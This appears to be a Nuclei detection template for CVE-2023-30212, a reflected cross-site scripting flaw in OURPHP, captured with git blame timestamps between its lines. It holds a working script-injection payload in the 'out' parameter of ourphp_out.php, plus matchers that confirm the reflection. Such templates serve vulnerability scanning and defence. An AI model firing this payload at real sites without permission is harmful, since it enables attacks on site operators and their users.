2023-05-06 12:12:20 +00:00
|
|
|
id: CVE-2023-30212
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: OURPHP <= 7.2.0 - Cross Site Scripting
|
|
|
|
author: theamanrawat
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
OURPHP <= 7.2.0 is vulnerale to Cross Site Scripting (XSS) via /client/manage/ourphp_out.php.
|
|
|
|
reference:
|
|
|
|
- https://www.ourphp.net/
|
|
|
|
- https://wanheiqiyihu.top/2023/03/27/OURPHP-v7-2-0-ourphp-out-php-Reflection-xss/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-30212
|
|
|
|
classification:
|
|
|
|
cve-id: CVE-2023-30212
|
|
|
|
metadata:
|
2023-06-03 18:56:35 +00:00
|
|
|
max-request: 1
|
2023-06-04 08:13:42 +00:00
|
|
|
verified: true
|
2023-05-06 12:12:20 +00:00
|
|
|
tags: cve,cve2023,xss,ourphp
|
|
|
|
|
|
|
|
http:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert(document.domain)</script>"
|
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- "location.href='../..</script><script>alert(document.domain)</script>'"
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|